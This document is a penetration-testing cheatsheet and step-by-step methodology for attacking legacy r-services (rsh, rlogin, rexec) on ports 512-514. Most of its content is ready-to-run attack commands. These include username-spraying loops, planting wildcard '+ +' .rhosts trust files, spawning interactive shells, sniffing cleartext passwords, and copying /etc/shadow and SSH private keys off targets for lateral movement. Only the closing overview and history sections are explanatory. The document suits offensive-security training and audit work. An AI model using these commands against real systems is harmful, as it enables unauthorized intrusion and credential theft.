R-Services - Ports 512, 513, 514

Cheatsheet

nmap -sV -sC -p512,513,514 <IP>
 
# interact
sudo apt install rsh-client rwho rusers
 
rlogin -l <USER> <IP> # interactive clinet
#single command client
rsh -l <USER> <IP> 'uname -a; id; hostname'
rsh -l <USER> <IP> '/bin/bash -i'
rexec -l <USER> -p <PASS> <IP> id
 
# remote copy 
rcp <IP>:/etc/passwd ./
rcp <IP>:/etc/shadow ./
rcp <IP>:/home/<USER>/.ssh/id_rsa ./
rcp ./payload.sh <IP>:/tmp/
 
# Network user enumeration (rwho / rusers / finger)
rwho -a
rusers -al <IP>
finger @<IP>
 
# Plant a .rhosts entry for instant trust (requires write to target home)
echo "+ +" > .rhosts                        # any user, any host
echo "<LHOST> <USER>" > .rhosts             # specific attacker host + local user
 
# Username spray via rsh (no lockouts, silent on trust failure)
for u in $(cat users.txt); do rsh -l "$u" <IP> id 2>/dev/null && echo "[+] $u"; done
 
# Cleartext sniffing
sudo tcpdump -nn -A -i <IFACE> 'tcp port 512 or tcp port 513 or tcp port 514'

Methodology

Phase 1: Fingerprint the Service

nmap -sV -sC -p512,513,514 <IP>
# Companion UDP services (rwhod = network user broadcasts)
nmap -sU -p513,514 <IP>
sudo apt install rsh-client rwho rusers

• nmap -sV -sC -p512,513,514 <IP> service detection reliably separates exec (512/rexecd), login (513/rlogind), and shell (514/rshd). All three open is the classic legacy footprint.
• Note the OS hint r-services on modern Linux means an intentionally enabled legacy service or an embedded device; on old Solaris/AIX they may still be default-on.
• sudo apt install rsh-client rwho rusers the clients are not preinstalled on any modern distro (Kali included). Without them you are reduced to raw-socket work.
• nmap -sU -p513,514 <IP> 513/UDP is rwhod (network-wide logged-in users), 514/UDP is syslog (unrelated but often co-located).

Phase 2: Harvest Usernames

rwho -a
rusers -al <IP>
finger @<IP>

• rwho -a lists every user logged into every host broadcasting on the local segment. Requires same broadcast domain but returns a live user/host table with zero authentication.
• rusers -al <IP> per-host query for logged-in users with TTY and idle time. Works remotely.
• finger @<IP> try it even if port 79 was not flagged; admins who enable r-services rarely disable finger.
• Cross-reference with every other username source: SMTP VRFY/EXPN, SNMP user tables, SMB RID cycling, NFS UID exports, /etc/passwd LFI leaks. Trust checks are silent on failure, so a large list costs nothing.

Phase 3: Trust-Based Access (Zero Credentials)

# Start with root forgotten root .rhosts is the classic finding
rlogin -l root <IP>
rsh -l root <IP> id
 
# Spray the username list (silent on failure, no lockout)
for u in $(cat users.txt); do
    rsh -l "$u" <IP> id 2>/dev/null && echo "[+] trust as $u"
done
 
# Upgrade an rsh hit to an interactive shell
rsh -l <USER> <IP> '/bin/bash -i'

• Start with root: rlogin -l root <IP> and rsh -l root <IP> id. Forgotten root .rhosts files are the single most common r-services finding.
• Spray the username list with the loop above. Any hit means hosts.equiv or that user’s ~/.rhosts matches your source host/IP plus your local username.
• Widen coverage cheaply by matching your local username to a likely target before spraying (e.g. create and switch to a root local account), since trust keys on the client-side username.
• On an rsh hit, upgrade: rsh -l <USER> <IP> '/bin/bash -i'. rsh allocates no PTY, so the shell is ugly stabilize it immediately after transfer.
• Prefer rlogin when you want a proper TTY from the start and exam time matters.

Phase 4: Plant Your Own Trust (Write-Anywhere → Shell)

# Plant a .rhosts via an NFS write primitive, matching ownership
echo "+ +" > /mnt/nfs/home/<USER>/.rhosts
chmod 600 /mnt/nfs/home/<USER>/.rhosts        # must NOT be world-writable
chown <USER>:<USER> /mnt/nfs/home/<USER>/.rhosts
 
# Pivot instantly no password, no exploit chain
rlogin -l <USER> <IP>

• Identify any write-to-home primitive.
• Drop .rhosts containing + + (any user, any host) or a precise <LHOST> <USER> pair into the target’s home, using the commands above.
• Match ownership exactly chown under no_root_squash, or write as the correct UID if UIDs are mapped. The daemon ignores a .rhosts it does not trust.
• Pivot: rlogin -l <USER> <IP> instant shell, no password, no exploit beyond the file write.

Phase 5: rexec The Cleartext Password Trap

# Try harvested credentials first (rexec has no lockout)
rexec -l <USER> -p <PASS> <IP> id
 
# Sniff cleartext rexec passwords from a network position
sudo tcpdump -nn -A -i <IFACE> 'tcp port 512'

• rexec -l <USER> -p <PASS> <IP> id try credentials harvested from every other service first. rexec authenticates with a username and cleartext password.
• sudo tcpdump -nn -A -i <IFACE> 'tcp port 512' from any sniffing or MITM position (ARP poisoning, rogue AP, compromised gateway), every authenticated session reveals the password in plaintext.
• rexec has no lockout, so multi-credential spraying works but it is noisier than trust-based attacks because it generates authentication-failure logs.

Phase 6: File Exfiltration and Lateral Staging (rcp)

# Pull high-value loot (shadow only if trusted as root)
rcp <IP>:/etc/passwd ./
rcp <IP>:/etc/shadow ./
rcp <IP>:/home/<USER>/.ssh/id_rsa ./
rcp <IP>:/root/.ssh/authorized_keys ./
 
# Push staging tools, run, retrieve output
rcp linpeas.sh <IP>:/tmp/
rsh -l <USER> <IP> '/tmp/linpeas.sh > /tmp/lp.out'
rcp <IP>:/tmp/lp.out ./
 
# Multi-file pull when rcp wildcards fail tar over rsh
rsh -l <USER> <IP> 'tar cf - /home/<USER>/.ssh' | tar xf -

• Exfiltrate /etc/passwd, SSH keys, .bash_history, and /etc/shadow (root trust only) with rcp. These feed credential cracking and reuse.
• Push tooling the same way and run it via rsh, then pull the output back a complete scriptable transfer loop.
• rcp has no server-side wildcard expansion; for multiple files either script per-file invocations or pipe tar over rsh.

Move to Phase 7 with your loot in hand. The trust files on this box are the map to the rest of the cluster.

Phase 7: Post-Access Map the Trust Graph

# System-wide and per-user trust files
cat /etc/hosts.equiv
find / -name ".rhosts" 2>/dev/null
cat /home/*/.rhosts /root/.rhosts 2>/dev/null
 
# Who has actually been using r-services
last -a; w
cat ~/.bash_history /root/.bash_history 2>/dev/null

• cat /etc/hosts.equiv every hostname listed is a candidate pivot in both directions; declared trust is usually reciprocal in automation clusters.
• find / -name ".rhosts" 2>/dev/null then read each a line like trusted-host username means username@trusted-host logs in here passwordless, and the reverse is usually true too.
• last -a and w which users actually use rlogin/rsh; live accounts are likelier to have valid trust entries elsewhere.
• cat /root/.bash_history admins using rsh leave exact target hostnames in history, mapping the trust graph for you.

Overview

R-services are a family of BSD-derived remote access tools from the early 1980s that predate SSH by a decade. They were designed for a world where networks were physically secure and hosts could be identified by IP and hostname alone so they transmit everything in cleartext and authenticate via “I trust this hostname” files (hosts.equiv, .rhosts) rather than passwords. They were replaced by SSH and should never appear on a production network, but legacy Unix (Solaris, AIX, HP-UX), embedded devices, and intentionally vulnerable lab machines still ship them.

Quick Reference

Trust Files

R-services delegate authentication to two configuration files that exist on the target host. Understanding their precedence and syntax is essential because every attack on these protocols reduces to either exploiting an existing entry or planting a new one.

/etc/hosts.equiv System-Wide Trust

Read at login time by rlogind/rshd before falling back to per-user .rhosts. If a match is found here, the login is accepted without a password for any user on the system except root (root always requires ~/.rhosts even if hosts.equiv would otherwise grant it the one safety rail).

# Format: [+/-]hostname [+/-username]
devhost1                 # any user from devhost1 can log in as any matching user
buildsrv jenkins         # only jenkins@buildsrv can log in as jenkins
+ devhost2               # any user from devhost2
+ +                      # DANGER: any user from any host, as any user (except root)
-badhost                 # explicitly denied

~/.rhosts Per-User Trust

Located in the target user’s home directory. Grants access to that specific account regardless of hosts.equiv. Unlike hosts.equiv, a valid .rhosts entry does grant password-free root login (if found in /root/.rhosts), which is why forgotten root .rhosts files are the highest-impact misconfiguration.

# Format: hostname [username]
trusted-host alice       # alice@trusted-host can log in as the owning account
10.10.14.5 attacker      # attacker@10.10.14.5 can log in
+ +                      # DANGER: literal any-any wildcard

Dangerous Configurations

rexec vs rlogin vs rsh

These three daemons are often lumped together but have meaningfully different attack properties.

rsh is the operator’s favorite for spraying no PTY means no login record in wtmp on some implementations, failed attempts are silent, and the daemon returns instantly. rlogin is more convenient once you have confirmed trust and want a real shell. rexec is the oddball: it passes a password with the command, which means it is the one r-service you can brute force or sniff.

Historical Context Why This Matters

R-services are not just an academic curiosity. They are the original vector of the Morris worm (1988), which propagated by exploiting trusted host relationships and forged .rhosts entries. They were the dominant Unix remote access mechanism until the release of OpenSSH in 1999. Every r-services weakness exploited today is the same weakness that forced the creation of SSH in the first place.

When you encounter 512/513/514 on a real engagement, the appropriate finding severity is almost always Critical regardless of whether you successfully exploited them the mere presence of these services on a modern network indicates failed patch/hardening discipline and almost certainly correlates with other legacy vulnerabilities on the same host.